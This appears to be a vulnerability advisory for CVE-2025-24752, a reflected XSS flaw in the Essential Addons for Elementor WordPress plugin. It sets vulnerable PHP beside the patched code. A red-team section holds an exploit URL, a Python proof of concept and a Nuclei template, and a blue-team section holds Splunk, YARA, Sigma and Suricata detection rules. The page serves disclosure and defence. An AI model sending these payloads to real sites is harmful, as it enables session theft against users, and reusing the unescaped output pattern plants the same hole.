CVE-2025-24752
Executive Summary
CVE-2025-24752 is a reflected Cross-Site Scripting (XSS) vulnerability in the Essential Addons for Elementor WordPress plugin, developed by WPDeveloper. The flaw affects all versions up to and including 6.0.14. An unauthenticated attacker can craft a malicious URL that, when visited by a logged-in administrator or any user, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known, with a proof-of-concept (PoC) and a Nuclei template available, making active exploitation likely. The vendor has released a patched version (6.0.15) that properly sanitizes user input.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is moderate: users who auto-update or manually update to version 6.0.15 are protected. However, sites with outdated plugins or those using custom forks remain vulnerable. No malicious packages have been identified in the official repository.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – vulnerable component impacts the browser's security context
- Confidentiality Impact: Low (C:L) – potential cookie/session theft
- Integrity Impact: Low (I:L) – potential content modification
- Availability Impact: Low (A:L) – potential denial of service via script execution
Threat Level: High. The vulnerability is trivial to exploit, has a public PoC, and affects over 2 million sites.
Deep Dive & Mechanics
The vulnerability resides in the plugin's handling of the popup-selector parameter during the lost password functionality. The plugin fails to properly sanitize and escape user-supplied input before reflecting it in the HTML response. An attacker can inject a payload like <img src=x onerror=alert(1)> via the popup-selector parameter. When the victim's browser renders the page, the injected script executes.
The vulnerable code path is triggered when the eael-lostpassword=1 parameter is present. The plugin constructs a response that includes the popup-selector value without proper output encoding, allowing arbitrary HTML/JavaScript injection.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 6.0.14):
// In a template or function file
$popup_selector = $_GET['popup-selector'];
echo '<div class="eael-lostpassword-popup" data-popup-selector="' . $popup_selector . '">';
Patched Code (version 6.0.15):
// Properly escape the output
$popup_selector = isset($_GET['popup-selector']) ? sanitize_text_field($_GET['popup-selector']) : '';
echo '<div class="eael-lostpassword-popup" data-popup-selector="' . esc_attr($popup_selector) . '">';
The patch uses sanitize_text_field() to strip malicious input and esc_attr() to safely encode the value for HTML attribute context.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site running Essential Addons for Elementor <= 6.0.14
- Attacker must craft a malicious URL and trick a logged-in user (e.g., admin) into clicking it.
Exploit URL:
http://target-site.com/?popup-selector=<img_src%3Dx_onerror%3Dalert(document.cookie)>&eael-lostpassword=1
Automated Exploit (Python PoC):
import requests
target = "http://target-site.com"
payload = "<img src=x onerror=alert('XSS')>"
params = {
"popup-selector": payload,
"eael-lostpassword": "1"
}
response = requests.get(target, params=params)
print("Payload sent. Check victim's browser.")
Nuclei Template (provided):
id: CVE-2025-24752
info:
name: Essential Addons for Elementor < 6.0.15 - Cross-Site Scripting
author: DhiyaneshDK
severity: medium
description: |
A Cross-Site Scripting (XSS) vulnerability exists in Essential Addons for Elementor Plugin for WordPress versions prior to 6.0.15. The vulnerability allows an attacker to inject malicious JavaScript payloads into web pages by exploiting insufficient input sanitization and output escaping in specific plugin components.
remediation: |
Upgrade Essential Addons for Elementor to version 6.0.15 or later that properly sanitizes and escapes user input in plugin components.
impact: |
Attackers can execute arbitrary scripts in users' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
reference:
- https://www.tenable.com/plugins/was/114609
- https://patchstack.com/articles/reflected-xss-patched-in-essential-addons-for-elementor-affecting-2-million-sites/
- https://github.com/Sachinart/essential-addons-for-elementor-xss-poc/blob/main/poc.py
classification:
epss-score: 0.03846
epss-percentile: 0.88235
metadata:
verified: true
max-request: 1
fofa-query: body="/wp-content/plugins/essential-addons-for-elementor-lite"
tags: cve,cve2025,xss,essential,elementor-lite,vkev,vuln
variables:
random_int: '{{rand_int(1,1000)}}'
headless:
- steps:
- args:
url: '{{BaseURL}}/?popup-selector=<img_src%3Dx_onerror%3Dalert%28%27{{random_int}}n%27%29>&eael-lostpassword=1'
action: navigate
- action: waitdialog
name: subdomain_object_dom
matchers-condition: and
matchers:
- type: dsl
dsl:
- subdomain_object_dom == true
- type: word
part: body
words:
- "{{random_int}}"
case-insensitive: true
# digest: 4a0a00473045022074df2cc06356c80be23eac7057655a86343ec5c86436739ef66b08562dd2caa0022100b8eb1b5bbace04672c7a4001ef5c548d607b3060dcac01de1b87845b703a2903:922c64590222798bb761d5b6d8e72950
Usage: Save the template as CVE-2025-24752.yaml and run:
nuclei -t CVE-2025-24752.yaml -u http://target-site.com
Blue Team (Detection & Response)
Detection Steps:
- Monitor web server logs for requests containing
popup-selector=with suspicious characters (e.g.,<,>,onerror,alert). - Check for unusual
eael-lostpassword=1parameters in GET requests. - Use WAF rules to block XSS payloads in query parameters.
Hunting Query (Splunk):
index=web sourcetype=access_combined uri_query="*popup-selector=*" uri_query="*eael-lostpassword=1*"
| rex field=uri_query "popup-selector=(?<payload>[^&]+)"
| where match(payload, "(<|>|onerror|alert|script)")
| table _time, clientip, uri, payload
Indicators of Compromise (IOCs)
- URL Pattern:
/?popup-selector=<malicious_payload>&eael-lostpassword=1 - Network Traffic: HTTP GET requests with
popup-selectorparameter containing HTML/JavaScript. - Log Entries: Web server logs showing
popup-selectorwith encoded or raw XSS payloads. - File Hashes: No specific file hashes; the vulnerability is in the plugin's code logic.
Detection Engineering
YARA Rule
rule CVE_2025_24752_XSS_Detect {
meta:
description = "Detects reflected XSS attempts targeting Essential Addons for Elementor"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-24752"
strings:
$payload1 = "popup-selector="
$payload2 = "eael-lostpassword=1"
$xss1 = /<[^>]*onerror[^>]*>/i
$xss2 = /<script[^>]*>/i
$xss3 = /alert\(/i
condition:
all of ($payload*) and any of ($xss*)
}
Sigma Rule
title: Reflected XSS Attempt - Essential Addons for Elementor
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads targeting CVE-2025-24752
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "popup-selector="
- "eael-lostpassword=1"
filter:
cs-uri-query|contains:
- "popup-selector=test" # Exclude benign test values
condition: selection and not filter
falsepositives:
- Legitimate use of the parameter with safe values
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-24752 Reflected XSS Attempt"; flow:to_server; content:"popup-selector="; http_uri; content:"eael-lostpassword=1"; http_uri; pcre:"/(<[^>]*onerror[^>]*>|<script[^>]*>|alert\()/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin to version 6.0.15 or later via the WordPress admin dashboard.
- If immediate update is not possible, disable the plugin temporarily.
- Implement a Web Application Firewall (WAF) rule to block requests containing
popup-selector=with XSS patterns.
Long-term Measures:
- Enforce automatic plugin updates for all WordPress sites.
- Conduct regular security audits of third-party plugins.
- Use a Content Security Policy (CSP) header to mitigate XSS impact.
- Monitor for similar vulnerabilities in other plugins.
Verification:
- After patching, verify the plugin version in
wp-content/plugins/essential-addons-for-elementor-lite/readme.txt. - Test the exploit URL to confirm it no longer executes JavaScript.
Valters IT
{/* [Security Hash: C265752A1548AEA51081359A] */}